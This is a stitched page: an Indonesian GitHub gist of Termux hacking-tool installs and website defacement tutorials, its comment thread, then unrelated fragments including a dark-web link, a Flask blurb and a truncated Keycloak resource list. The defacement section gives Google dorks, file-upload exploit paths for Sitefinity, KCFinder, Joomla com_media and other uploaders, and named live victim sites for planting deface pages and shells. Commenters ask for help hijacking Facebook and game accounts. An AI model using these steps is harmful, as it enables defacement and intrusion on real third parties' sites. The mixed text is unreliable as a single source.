hunner.py $ python hunner.py *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py DEFACE Hacking Script-Deface $apt update $apt upgrade $apt install git $apt install python2 $git clone https://github.com/Ubaii/script-deface-creator $ls $cd script-deface-creator $ls $chmod +x create.py $ls $python2 create.py done semoga bisa bikin script Html CARA DEFACE Cara1 Siapkan script sendiri.. 1.buka browser kalian apa saja terserah lalu ke google 2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search 3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditordialog.aspx) tanpa buka tutup kurung! E http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditordialog.aspx 4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian 5.klik yang di bawah nya tunggu sampai loading selesai 6.tambah link target tadi dengan (/files) contoh http://sitetarget*org/files/namascriptdefacekalian.html lalu klik search 7.selesai!! Cara2 Method/metode KCFinder Inurl:/kcfinder/browse.php Inurl:/Kcfinder/ Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html Contoh: https://basukiwater.com/kcfinder/browse.php jadi https://basukiwater.com/file/namasckamu.html cara3 Deface Onion.to File Upload Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb hehehe... Mari kita Lanjut... Dork : - inurl:/upload site:.onion.to - intext:"Upload" site:.onion.to Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php Step By Step : 1. Dorking Dulu 2. Pilih Web Target 3. Pilih File yang mau di'upload 4. Tinggal klik Upload => Done 😆 Contoh Target : https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html https://danwin1210.me/uploads/lopeyou.html https://temp.xn--wda.fr/e719x8JgJ.html Mirror?! 😆 https://www.defacer.id/296011.html https://www.defacer.id/296024.html cara4 Metode com media Bahan : 1. Dork : - inurl:com_media site:com - inurl:com_media intext:"Upload" 2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 3. Upload'an : Format .txt 😁 Live Target : http://www.james-insurance.co.uk/ Step by Step : gunakan Live Targert dulu untuk Uji Coba 😁 1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk 2. Pilih salah satu Web 3. Masukkan Exploit http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 4. Lalu Upload file dalam tempat upload ( format .txt ) Akses shell ? Tambahkan : /images/namafile.txt contoh : http://www.james-insurance.co.uk/images/fac.txt Nanti Jadi Gini Hasilnyaa.. Mudah Bukan?! Tinggal Upload ke Defacer.id 😁 cara5 [POC] Vulnerability Simplicity Of Upload #Step 1: Dork: “Powered By: © Simplicity oF Upload” #Step 2: Exploit: http://[situstargetkamu]/PATH/upload.php *Tergantung dengan target. #Step 3: llowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html) #Step 4: Preview: http://[situstargetkamu]/upload/[Your File] #Step 5: Live Demo: http://www.railfaneurope.net/pix/upload.php http://www.formplas.com/upload/upload.php Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya. Al in one crip termux $ apt update && apt upgrade $ pkg install php figlet ruby python python2 $ pip2 install lolcat $ git clone https://github.com/Rusmana-ID/rus $ cd $ cd rus $ ls $ sh v2.sh Kontak wa 083879017166 Note: user name:Rusmana Pasword:X-One Load earlier comments... husniawati commented on 3 Dec 2020 Gak bisa bang apa harus membuat file dulu atau gmn semua udah aku ikutin tapi gak bisa bisa Ruok2588 commented on 9 Dec 2020 Taiklah sya01019 commented on 12 Dec 2020 Percuma, , Ini siapa punya blog kayak babi sya01019 commented on 12 Dec 2020 Tampilan aja beda Rasa garam marco97-web commented on 22 Dec 2020 Password.a ga bisa bang Ilham619 commented on 12 Jan 2021 Bang kasih tau cara ambil akun free fire Reyhan720z commented on 13 Feb 2021 Bg sc fb nya gk work azuhry commented on 5 Mar 2021 gak ada yang work 😎 gue bisa Ilham619 commented on 5 Mar 2021 Kode termux untuk hack FB APA Pada tanggal Jum, 5 Mar 2021 01.47, azuhry <notifications@github.com> menulis: … ***@***.**** commented on this gist. ------------------------------ gak ada yang work 😎 gue bisa — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/8d49c6cc91e3ecfcdc8c91d8abdd7450#gistcomment-3653833>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/ASNZOIQMA54PE3PD5QJV5LLTB7BRLANCNFSM4NBI2DHA> . MR-Bm13 commented on 15 Mar 2021 BULLSHIT LOP 28februari2005 commented on 11 May 2021 Work 100% hmm 🤔🤔🤔 28februari2005 commented on 11 May 2021 Bener work Ya dicoba 🤐🤐🤐 28februari2005 commented on 11 May 2021 Coba aja dulu baru komen jalilcy commented on 25 May 2021 Bang bisa minta tolong. Ajarkan buat hack fb. Sy ingin mengambil fb sya kena hack kazharalyu commented on 6 Jun 2021 Ada yang bisa ada yang gak bisa jalilcy commented on 6 Jun 2021 Saya ingin mengambil kembali akun facebook aku bang di hack orang Pada tanggal Min, 6 Jun 2021 18:55, kazharalyu ***@***.***> menulis: … ***@***.**** commented on this gist. ------------------------------ Ada yang bisa ada yang gak bisa — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/8d49c6cc91e3ecfcdc8c91d8abdd7450#gistcomment-3770432>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AUGJUNGESYA6BKWK3RCP7V3TRNH35ANCNFSM4NBI2DHA> . wanted21 commented on 15 Jun 2021 Scrip whatsheck udh ngga bisa ya gan Cloning224 commented on 18 Jun 2021 Ada yg bisa hack akun highs Domino disini, tolong bantu saya. Saya barusan jadi korban Screenshot_2021-06-18-17-52-31-124_com higgs domino mrsimple15 commented on 24 Jun 2021 bang buatin script untuk hack cip domino tanpa pishing akun orang Muhdaghol12 commented on 1 Jul 2021 `` YudhaSaputra11 commented on 27 Jul 2021 bang yang hack wa habis ituu diapain? ardyan212 commented on 7 Nov 2021 Keren bang tools termuxnya https://www.jopamungkas.com aceptt commented on 7 Nov 2021 Mantap sehat selalu bang,top banget boyaniyan commented on 21 Nov 2021 Mantap D4K0TCH4N commented on 11 Feb Gajelas AhmadTaslimfebriyan00 commented on 28 Mar Bang cara pertama kok sering gagal bang Spilis1 commented on 18 May Ada yg bisa by pass Gmail dan ymail BLACKSTARzero commented on 31 May buat yg baru gabung di termux Ini scrft lama gk usah di ikuti MATUN091 commented on 8 Jun Iya cok ini scift lama gak usah di ikutin abssbsjhsjaj commented 18 days ago wkkwwk sc kintil kurang update Leave a comment Footer © 2022 GitHub, Inc. Footer navigation Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About You have no unread notifications
Angular9-SpringBoot-CRUD-Tutorial - https://www.javaguides.net/2020/01/spring-boot-angular-9-crud-example-tutorial.html
black-ops-registration-tutorial
black-ops-registration-tutorial: 10/01/2025 - http://blackopsaax7ieeljectvi3vn3a5m2wfssylcdqaswrvlbeptwzv5oid.onion
Gurupatil0003
Flask is a lightweight and flexible web framework for Python. It's designed to make getting started with web development in Python quick and easy, with the ability to scale up to complex applications. Flask was created by Armin Ronacher and first released in 2010.
BabyJ723
# Awesome Keycloak [](https://github.com/sindresorhus/awesome) # [<img src="https://www.keycloak.org/resources/images/keycloak_logo_480x108.png">](https://github.com/thomasdarimont/awesome-keycloak) > Carefully curated list of awesome Keycloak resources. A curated list of resources for learning about the Open Source Identity and Access Management solution Keycloak. Contains books, websites, blog posts, links to github Repositories. # Contributing Contributions welcome. Add links through pull requests or create an issue to start a discussion. [Please refer to the contributing guide for details](CONTRIBUTING.md). # Contents * [General](#general) * [Documentation](#docs) * [Keycloak Website](http://www.keycloak.org) * [Current Documentation](http://www.keycloak.org/documentation.html) * [Archived Documentation](http://www.keycloak.org/documentation-archive.html) * [Mailing Lists](#mailing-lists) * [User Mailing List](#user-mailing-list) * [Developer Mailing List](#dev-mailing-list) * [Mailing List Search](#mailing-list-search) * [Books](#books) * [Articles](#articles) * [Talks](#talks) * [Presentations](#presentations) * [Video Playlists](#video-playlists) * [Community Extensions](#community-extensions) * [Integrations](#integrations) * [Themes](#themes) * [Docker](#docker) * [Deployment Examples](#deployment-examples) * [Example Projects](#example-projects) * [Benchmarks](#benchmarks) * [Help](#help) * [Commercial Offerings](#commercial-offerings) * [Miscellaneous](#miscellaneous) # General ## Documentation * [Keycloak Website](http://www.keycloak.org/) * [Current Documentation](http://www.keycloak.org/documentation.html) * [Archived Documentation](http://www.keycloak.org/documentation-archive.html) * [Product Documentation for Red Hat Single Sign-On](https://access.redhat.com/documentation/en/red-hat-single-sign-on/) ## Discussion Groups and Mailing Lists * [Keycloak Users Google Group](https://groups.google.com/forum/#!forum/keycloak-user) * [Keycloak Developers Google Group](https://groups.google.com/forum/#!forum/keycloak-dev) * [Keycloak Discourse Group](https://keycloak.discourse.group/) * [Keycloak Developer Chat](https://keycloak.zulipchat.com) * [Inactive - User Mailing List](https://lists.jboss.org/mailman/listinfo/keycloak-user) * [Inactive - Developer Mailing List](https://lists.jboss.org/mailman/listinfo/keycloak-dev) * [Mailing List Search](http://www.keycloak.org/search) * [Keycloak Subreddit](https://www.reddit.com/r/keycloak) ## Books * [Keycloak - Identity and Access Management for Modern Applications](https://www.packtpub.com/product/keycloak-identity-and-access-management-for-modern-applications/9781800562493) ## Articles * [How to get Keycloak working with Docker](https://www.ivonet.nl/2015/05/23/Keycloak-Docker/) * [Single-Sign-On for Microservices and/or Java EE applications with Keycloak SSO](http://www.n-k.de/2016/06/keycloak-sso-for-microservices.html) * [Keycloak Admin Client(s) - multiple ways to manage your SSO system](http://www.n-k.de/2016/08/keycloak-admin-client.html) * [How to get the AccessToken of Keycloak in Spring Boot and/or Java EE](http://www.n-k.de/2016/05/how-to-get-accesstoken-from-keycloak-springboot-javaee.html) * [JWT authentication with Vert.x, Keycloak and Angular 2](http://paulbakker.io/java/jwt-keycloak-angular2/) * [Authenticating via Kerberos with Keycloak and Windows 2008 Active Directory](http://matthewcasperson.blogspot.de/2015/07/authenticating-via-kerberos-with.html) * [Deploying Keycloak with Ansible](https://adam.younglogic.com/2016/01/deploying-keycloak-via-ansible/) * [Easily secure your Spring Boot applications with Keycloak](https://developers.redhat.com/blog/2017/05/25/easily-secure-your-spring-boot-applications-with-keycloak/) * [How Red Hat re-designed its Single Sign On (SSO) architecture, and why](https://developers.redhat.com/blog/2016/10/04/how-red-hat-re-designed-its-single-sign-on-sso-architecture-and-why/) * [OAuth2, JWT, Open-ID Connect and other confusing things](http://giallone.blogspot.de/2017/06/oath2.html) * [X509 Authentication with Keycloak and JBoss Fuse](https://sjhiggs.github.io/fuse/sso/x509/smartcard/2017/03/29/fuse-hawtio-keycloak.html) * [Running Keycloak on OpenShift 3](https://medium.com/@sbose78/running-keycloak-on-openshift-3-8d195c0daaf6) * [Introducing Keycloak for Identity and Access Management](https://www.thomasvitale.com/introducing-keycloak-identity-access-management/) * [Keycloak Basic Configuration for Authentication and Authorisation](https://www.thomasvitale.com/keycloak-configuration-authentication-authorisation/) * [Keycloak on OpenShift Origin](https://medium.com/@james_devcomb/keycloak-on-openshift-origin-ee81d01dac97) * [Identity Management, One-Time-Passwords and Two-Factor-Auth with Spring Boot and Keycloak](http://www.hascode.com/2017/11/identity-management-one-time-passwords-and-two-factor-auth-with-spring-boot-and-keycloak/) * [Keycloak Identity Brokering with Openshift](https://developers.redhat.com/blog/2017/12/06/keycloak-identity-brokering-openshift/) * [OpenID Connect Identity Brokering with Red Hat Single Sign-On](https://developers.redhat.com/blog/2017/10/18/openid-connect-identity-brokering-red-hat-single-sign/) * [Authentication & user management is hard](https://eclipsesource.com/blogs/2018/01/11/authenticating-reverse-proxy-with-keycloak/) * [Securing Nginx with Keycloak](https://edhull.co.uk/blog/2018-06-06/keycloak-nginx) * [Secure kibana dashboards using keycloak](https://aboullaite.me/secure-kibana-keycloak/) * [Configuring NGINX for OAuth/OpenID Connect SSO with Keycloak/Red Hat SSO](https://developers.redhat.com/blog/2018/10/08/configuring-nginx-keycloak-oauth-oidc/) * [Keycloak Clustering Setup and Configuration Examples](https://github.com/fit2anything/keycloak-cluster-setup-and-configuration) * [MicroProfile JWT with Keycloak](https://kodnito.com/posts/microprofile-jwt-with-keycloak/) * [Keycloak Essentials](https://medium.com/keycloak/keycloak-essentials-86254b2f1872) * [SSO-session failover with Keycloak and AWS S3](https://medium.com/@georgijsr/sso-session-failover-with-keycloak-and-aws-s3-e0b1db985e12) * [KTOR and Keycloak: authentication with OpenId](https://medium.com/slickteam/ktor-and-keycloak-authentication-with-openid-ecd415d7a62e) * [Keycloak: Core concepts of open source identity and access management](https://developers.redhat.com/blog/2019/12/11/keycloak-core-concepts-of-open-source-identity-and-access-management) * [Who am I? Keycloak Impersonation API](https://blog.softwaremill.com/who-am-i-keycloak-impersonation-api-bfe7acaf051a) * [Setup Keycloak Server on Ubuntu 18.04](https://medium.com/@hasnat.saeed/setup-keycloak-server-on-ubuntu-18-04-ed8c7c79a2d9) * [Getting started with Keycloak](https://robferguson.org/blog/2019/12/24/getting-started-with-keycloak/) * [Angular, OpenID Connect and Keycloak](https://robferguson.org/blog/2019/12/29/angular-openid-connect-keycloak/) * [Angular, OAuth 2.0 Scopes and Keycloak](https://robferguson.org/blog/2019/12/31/angular-oauth2-keycloak/) * [Keycloak, Flowable and OpenLDAP](https://robferguson.org/blog/2020/01/03/keycloak-flowable-and-openldap/) * [How to exchange token from an external provider to a keycloak token](https://www.mathieupassenaud.fr/token-exchange-keycloak/) * [Building an Event Listener SPI (Plugin) for Keycloak](https://dev.to/adwaitthattey/building-an-event-listener-spi-plugin-for-keycloak-2044) * [Keycloak user migration – connect your legacy authentication system to Keycloak](https://codesoapbox.dev/keycloak-user-migration/) * [Keycloak Authentication and Authorization in GraphQL](https://medium.com/@darahayes/keycloak-authentication-and-authorization-in-graphql-ad0a1685f7da) * [Kong / Konga / Keycloak: securing API through OIDC](https://github.com/d4rkstar/kong-konga-keycloak) * [KeyCloak: Custom Login theme](https://codehumsafar.wordpress.com/2018/09/11/keycloak-custom-login-theme/) * [Keycloak: Use background color instead of background image in Custom Login theme](https://codehumsafar.wordpress.com/2018/09/21/keycloak-use-background-color-instead-of-background-image-in-custom-login-theme/) * [How to turn off the Keycloak theme cache](https://keycloakthemes.com/blog/how-to-turn-off-the-keycloak-theme-cache) * [How to add a custom field to the Keycloak registration page](https://keycloakthemes.com/blog/how-to-add-custom-field-keycloak-registration-page) * [How to setup Sign in with Google using Keycloak](https://keycloakthemes.com/blog/how-to-setup-sign-in-with-google-using-keycloak) * [How to sign in users on Keycloak using Github](https://keycloakthemes.com/blog/how-to-sign-in-users-on-keycloak-using-github) * [Extending Keycloak SSO Capabilities with IBM Security Verify](https://community.ibm.com/community/user/security/blogs/jason-choi1/2020/06/10/extending-keycloak-sso-capabilities-with-ibm-secur) * [AWS SAML based User Federation using Keycloak](https://medium.com/@karanbir.tech/aws-connect-saml-based-identity-provider-using-keycloak-9b3e6d0111e6) * [AWS user account OpenID federation using Keycloak](https://medium.com/@karanbir.tech/aws-account-openid-federation-using-keycloak-40d22b952a43) * [How to Run Keycloak in HA on Kubernetes](https://blog.sighup.io/keycloak-ha-on-kubernetes/) * [How to create a Keycloak authenticator as a microservice?](https://medium.com/application-security/how-to-create-a-keycloak-authenticator-as-a-microservice-ad332e287b58) * [keycloak.ch | Installing & Running Keycloak](https://keycloak.ch/keycloak-tutorials/tutorial-1-installing-and-running-keycloak/) * [keycloak.ch | Configuring Token Exchange using the CLI](https://keycloak.ch/keycloak-tutorials/tutorial-token-exchange/) * [keycloak.ch | Configuring WebAuthn](https://keycloak.ch/keycloak-tutorials/tutorial-webauthn/) * [keycloak.ch | Configuring a SwissID integration](https://keycloak.ch/keycloak-tutorials/tutorial-swissid/) * [Getting Started with Service Accounts in Keycloak](https://medium.com/@mihirrajdixit/getting-started-with-service-accounts-in-keycloak-c8f6798a0675) * [Building cloud native apps: Identity and Access Management](https://dev.to/lukaszbudnik/building-cloud-native-apps-identity-and-access-management-1e5m) * [X.509 user certificate authentication with Red Hat’s single sign-on technology](https://developers.redhat.com/blog/2021/02/19/x-509-user-certificate-authentication-with-red-hats-single-sign-on-technology) * [Grafana OAuth with Keycloak and how to validate a JWT token](https://janikvonrotz.ch/2020/08/27/grafana-oauth-with-keycloak-and-how-to-validate-a-jwt-token/) * [How to setup a Keycloak server with external MySQL database on AWS ECS Fargate in clustered mode](https://jbjerksetmyr.medium.com/how-to-setup-a-keycloak-server-with-external-mysql-database-on-aws-ecs-fargate-in-clustered-mode-9775d01cd317) * [Extending Keycloak: adding API key authentication](http://www.zakariaamine.com/2019-06-14/extending-keycloak) * [Extending Keycloak: using a custom email sender](http://www.zakariaamine.com/2019-07-14/extending-keycloak2) * [Integrating Keycloak and OPA with Confluent](https://goraft.tech/2021/03/17/integrating-keycloak-and-opa-with-confluent.html) * [UMA 2.0 : User Managed Access - how to use it with bash](https://blog.please-open.it/uma/) ## Talks * [JDD2015 - Keycloak Open Source Identity and Access Management Solution](https://www.youtube.com/watch?v=TuEkj25lbd0) * [2015 Using Tomcat and Keycloak in an iFrame](https://www.youtube.com/watch?v=nF_lw7uIxao) * [2016 You've Got Microservices Now Secure Them](https://www.youtube.com/watch?v=SfVhqf-rMQY) * [2016 Keycloak: Open Source Single Sign On - Sebastian Rose - AOE conf (german)](https://www.youtube.com/watch?v=wbKw0Bwyne4) * [2016 Sécuriser ses applications back et front facilement avec Keycloak (french)](https://www.youtube.com/watch?v=bVidgluUcg0) * [2016 Keycloak and Red Hat Mobile Application Platform](https://www.youtube.com/watch?v=4NBgiHM5aOA) * [2016 Easily secure your Front and back applications with KeyCloak](https://www.youtube.com/watch?v=RGp4HUKikts) * [2017 Easily secure your Spring Boot applications with Keycloak - Part 1](https://developers.redhat.com/video/youtube/vpgRTPFDHAw/) * [2017 Easily secure your Spring Boot applications with Keycloak - Part 2](https://developers.redhat.com/video/youtube/O5ePCWON08Y/) * [2018 How to secure your Spring Apps with Keycloak by Thomas Darimont @ Spring I/O 2018](https://www.youtube.com/watch?v=haHFoeWUj0w) * [2018 DevNation Live | A Deep Dive into Keycloak](https://www.youtube.com/watch?v=ZxpY_zZ52kU) * [2018 IDM Europe: WSO2 Identity Server vs. Keycloak (Dmitry Kann)](https://www.youtube.com/watch?v=hnjBiGsEDoU) * [2018 JPrime|Building an effective identity and access management architecture with Keycloak (Sebastien Blanc)](https://www.youtube.com/watch?v=bMqcGkCvUVQ) * [2018 WJAX| Sichere Spring-Anwendungen mit Keycloak](https://www.youtube.com/watch?v=6Z490EMcafs) * [2019 Spring I/O | Secure your Spring Apps with Keycloak](https://www.youtube.com/watch?v=KrOd5wIkqls) * [2019 DevoxxFR | Maitriser sa gestion de l'identité avec Keycloak (L. Benoit, T. Recloux, S. Blanc)](https://www.youtube.com/watch?v=0cziL__0-K8) * [2019 DevConf | Fine - Grained Authorization with Keycloak SSO (Marek Posolda)](https://www.youtube.com/watch?v=yosg4St0iUw) * [2019 VoxxedDays Minsk | Bilding an effective identity and access management architecture with Keycloak (Sebastien Blanc)](https://www.youtube.com/watch?v=RupQWmYhrLA) * [2019 Single-Sign-On Authentifizierung mit dem Keycloak Identity Provider | jambit CoffeeTalk](https://www.youtube.com/watch?v=dnY6ORaFNY8) * [2020 Keycloak Team | Keycloak Pitch](https://www.youtube.com/watch?v=GZTN_VXjoQw) * [2020 Keycloak Team | Keycloak Overview](https://www.youtube.com/watch?v=duawSV69LDI) * [2020 Please-open.it : oauth2 dans le monde des ops (french)](https://www.youtube.com/watch?v=S-9X50QajmY) ## Presentations * [Keycloak 101](https://stevenolen.github.io/kc101-talk/#1) ## Video Playlists * [Keycloak Identity and Access Management by Łukasz Budnik](https://www.youtube.com/playlist?list=PLPZal7ksxNs0mgScrJxrggEayV-TPZ9sA) * [Keycloak by Niko Köbler](https://www.youtube.com/playlist?list=PLNn3plN7ZiaowUvKzKiJjYfWpp86u98iY) * [Keycloak Playlist by hexaDefence](https://youtu.be/35bflT_zxXA) * [Keycloak Tutorial Series by CodeLens](https://www.youtube.com/watch?v=Lr9WeIMtFow&list=PLeGNmkzI56BTjRxNGxUhh4k30FD_gy0pC) ## Clients * [Official Keycloak Node.js Admin Client](https://github.com/keycloak/keycloak-admin-client/) ("Extremely Experimental") * [Keycloak Node.js TypeScript Admin Client by Canner](https://github.com/Canner/keycloak-admin/) * [Keycloak Go Client by Cloudtrust](https://github.com/cloudtrust/keycloak-client) * [Keycloak Nest.js Admin Client by Relevant Fruit](https://github.com/relevantfruit/nestjs-keycloak-admin) ## Community Extensions * [Keycloak Extensions List](https://www.keycloak.org/extensions.html) * [Keycloak Benchmark Project](https://github.com/keycloak/keycloak-benchmark) * [Keycloak: Link IdP Login with User Provider](https://github.com/ohioit/keycloak-link-idp-with-user) * [Client Owner Manager: Control who can edit a client](https://github.com/cyclone-project/cyclone-client-registration) * [Keyloak Proxy written in Go](https://github.com/gambol99/keycloak-proxy) * [Script based ProtocolMapper extension for SAML](https://github.com/cloudtrust/keycloak-client-mappers) * [Realm export REST resource by Cloudtrust](https://github.com/cloudtrust/keycloak-export) * [Keycloak JDBC Ping Setup by moremagic](https://github.com/moremagic/keycloak-jdbc-ping) * [SMS 2 Factor Authentication for Keycloak via AWS SNS](https://github.com/nickpack/keycloak-sms-authenticator-sns) * [SMS 2 Factor Authentiation for Keycloak via SMS by Alliander](https://github.com/Alliander/keycloak-sms-authenticator) * [Identity Provider for vk.com](https://github.com/mrk08/keycloak-vk) * [CAS Protocol Support](https://github.com/Doccrazy/keycloak-protocol-cas) * [WS-FED Support](https://github.com/cloudtrust/keycloak-wsfed) * [Keycloak Discord Support](https://github.com/wadahiro/keycloak-discord) * [Keycloak Login with User Attribute](https://github.com/cnieg/keycloak-login-attribute) * [zonaut/keycloak-extensions](https://github.com/zonaut/keycloak-extensions) * [leroyguillaume/keycloak-bcrypt](https://github.com/leroyguillaume/keycloak-bcrypt) * [SPI Authenticator in Nodejs](https://www.npmjs.com/package/keycloak-rest-authenticator) * [Have I Been Pwned? Keycloak Password Policy](https://github.com/alexashley/keycloak-password-policy-have-i-been-pwned) * [Keycloak Eventlistener for Google Cloud Pub Sub](https://github.com/acesso-io/keycloak-event-listener-gcpubsub) * [Enforcing Password policy based on attributes of User Groups](https://github.com/sayedcsekuet/keycloak-user-group-based-password-policy) * [Verify Email with Link or Code by hokumski](https://github.com/hokumski/keycloak-verifyemailwithcode) * [Role-based Docker registry authentication](https://github.com/lifs-tools/keycloak-docker-role-mapper) * [SCIM for keycloak](https://github.com/Captain-P-Goldfish/scim-for-keycloak) * [Keycloak Kafka Module](https://github.com/SnuK87/keycloak-kafka) ## Integrations * [Official Keycloak Node.js Connect Adapter](https://github.com/keycloak/keycloak-nodejs-connect) * [Keycloak support for Aurelia](https://github.com/waynepennington/aurelia-keycloak) * [Keycloak OAuth2 Auth for PHP](https://github.com/stevenmaguire/oauth2-keycloak) * [Jenkins Keycloak Authentication Plugin](https://github.com/jenkinsci/keycloak-plugin) * [Meteor Keycloak Accounts](https://github.com/mxab/meteor-keycloak) * [HapiJS Keycloak Auth](https://github.com/felixheck/hapi-auth-keycloak) * [zmartzone mod_auth_openidc for Apache 2.x](https://github.com/zmartzone/mod_auth_openidc) * [Duo Security MFA Authentication for Keycloak](https://github.com/mulesoft-labs/keycloak-duo-spi) * [Extension Keycloak facilitant l'utilisation de FranceConnect](https://github.com/InseeFr/Keycloak-FranceConnect) * [Ambassador Keycloak Support](https://www.getambassador.io/reference/idp-support/keycloak/) * [Keycloak Python Client](https://github.com/akhilputhiry/keycloak-client) * [Keycloak Terraform Provider](https://github.com/mrparkers/terraform-provider-keycloak) * [Keycloak ADFS OpenID Connect](https://www.michaelboeynaems.com/keycloak-ADFS-OIDC.html) * [React/NextJS Keycloak Bindings](https://github.com/panz3r/react-keycloak) * [Keycloak Open-Shift integration](https://github.com/keycloak/openshift-integration) * [Keycloak, Kong and Konga setup scripts (local development)](https://github.com/JaouherK/Kong-konga-Keycloak) * [SSO for Keycloak and Nextcloud with SAML](https://stackoverflow.com/questions/48400812/sso-with-saml-keycloak-and-nextcloud) * [Keycloak Connect GraphQL Adapter for Node.js](https://github.com/aerogear/keycloak-connect-graphql) * [python-keycloak](https://github.com/marcospereirampj/python-keycloak) * [Keycloak and PrivacyId3a docker-compose (local development)](https://github.com/JaouherK/keycloak-privacyIdea) * [Nerzal/gocloak Golang Keycloak API Package](https://github.com/Nerzal/gocloak) * [Apple Social Identity Provider for Keycloak](https://github.com/BenjaminFavre/keycloak-apple-social-identity-provider) ## Quick demo Videos * [Keycloak with istio envoy jwt-auth proxy](https://www.youtube.com/watch?v=wscX7JMfuBI) ## Themes * [Community Keycloak Ionic Theme](https://github.com/lfryc/keycloak-ionic-theme) * [A Keycloak theme based on the AdminLTE UI library](https://github.com/MAXIMUS-DeltaWare/adminlte-keycloak-theme) * [GOV.UK Theme](https://github.com/UKHomeOffice/keycloak-theme-govuk) * [Carbon Design](https://github.com/httpsOmkar/carbon-keycloak-theme) * [Modern](https://keycloakthemes.com/themes/modern) * [Adminlte](https://git.uptic.nl/uptic-public-projects/uptic-keyclock-theme-adminlte) * [keycloakify: Create Keycloak themes using React](https://github.com/InseeFrLab/keycloakify) ## Docker * [Official Keycloak Docker Images](https://github.com/jboss-dockerfiles/keycloak) * [Keycloak Examples as Docker Image](https://hub.docker.com/r/jboss/keycloak-examples) * [Keycloak Maven SDK for managing the entire lifecycle of your extensions with Docker](https://github.com/OpenPj/keycloak-docker-quickstart) ## Kubernetes * [Deprecated Keycloak Helm Chart](https://github.com/codecentric/helm-charts/tree/master/charts/keycloak) * [codecentric Keycloak Helm Chart](https://github.com/codecentric/helm-charts/tree/master/charts/keycloak) * [Import / Export Keycloak Config](https://gist.github.com/unguiculus/19618ef57b1863145262191944565c9d) * [keycloak-operator](https://github.com/keycloak/keycloak-operator) ## Tools * [keycloakmigration: Manage your Keycloak configuration with code](https://github.com/klg71/keycloakmigration) * [tool to autogenerate an OpenAPI Specification for Keycloak's Admin API](https://github.com/ccouzens/keycloak-openapi) * [oidc-bash-client](https://github.com/please-openit/oidc-bash-client) * [louketo-proxy (FKA Gatekeeper)](https://github.com/louketo/louketo-proxy) * [keycloak-config-cli: Configuration as Code for Keycloak](https://github.com/adorsys/keycloak-config-cli) * [Keycloak Pulumi](https://github.com/pulumi/pulumi-keycloak) * [Keycloak on AWS](https://github.com/aws-samples/keycloak-on-aws) * [aws-cdk construct library that allows you to create KeyCloak on AWS in TypeScript or Python](https://github.com/aws-samples/cdk-keycloak) * [keycloak-scanner Python CLI](https://github.com/NeuronAddict/keycloak-scanner) ## Deployment Examples * [Keycloak deployment with CDK on AWS with Fargate](https://github.com/aws-samples/cdk-keycloak) ## Example Projects * [Examples from Keycloak Book: Keycloak - Identity and Access Management for Modern Applications](https://github.com/PacktPublishing/Keycloak-Identity-and-Access-Management-for-Modern-Applications) * [Official Examples](https://github.com/keycloak/keycloak/tree/master/examples) * [Keycloak Quickstarts](https://github.com/keycloak/keycloak-quickstarts) * [Drupal 7.0 with Keycloak](https://gist.github.com/thomasdarimont/17fa146c4fb5440d7fc2ee6322ec392d) * [Securing Realm Resources With Custom Roles](https://github.com/dteleguin/custom-admin-roles) * [BeerCloak: a comprehensive KeyCloak extension example](https://github.com/dteleguin/beercloak) * [KeyCloak Extensions: Securing Realm Resources With Custom Roles](https://github.com/dteleguin/custom-admin-roles) * [Red Hat Single Sign-On Labs](https://github.com/RedHatWorkshops/red-hat-sso) * [Spring Boot Keycloak Tutorial](https://github.com/sebastienblanc/spring-boot-keycloak-tutorial) * [Custom Keycloak Docker Image of Computer Science House of RIT](https://github.com/ComputerScienceHouse/keycloak-docker) * [Example of custom password hash SPI for Keycloak](https://github.com/pavelbogomolenko/keycloak-custom-password-hash) * [Example for a custom http-client-provider with Proxy support](https://github.com/xiaoyvr/custom-http-client-provider) * [Monitor your keycloak with prometheus](https://github.com/larscheid-schmitzhermes/keycloak-monitoring-prometheus) * [Custom User Storage Provider .ear with jboss-cli setup](https://github.com/thomasdarimont/keycloak-user-storage-provider-demo) * [Keycloak - Experimental extensions by Stian Thorgersen/Keycloak](https://github.com/stianst/keycloak-experimental) * [Securing Spring Boot Admin & Actuator Endpoints with Keycloak](https://github.com/thomasdarimont/spring-boot-admin-keycloak-example) * [A Keycloak Mobile Implementation using Angular v4 and Ionic v3](https://github.com/tomjackman/keyonic-v2) * [Example for Securing Apps with Keycloak on Kubernetes](https://github.com/stianst/demo-kubernetes) * [Example for Securing AspDotNet Core Apps with Keycloak](https://github.com/thomasdarimont/kc-dnc-demo) * [Example for passing custom URL parameters to a Keycloak theme for dynamic branding](https://github.com/dteleguin/keycloak-dynamic-branding) * [Angular Webapp secured with Keycloak](https://github.com/CodepediaOrg/bookmarks.dev) * [Keycloak Theme Development Kit](https://github.com/anthonny/kit-keycloak-theme) * [Keycloak Clustering 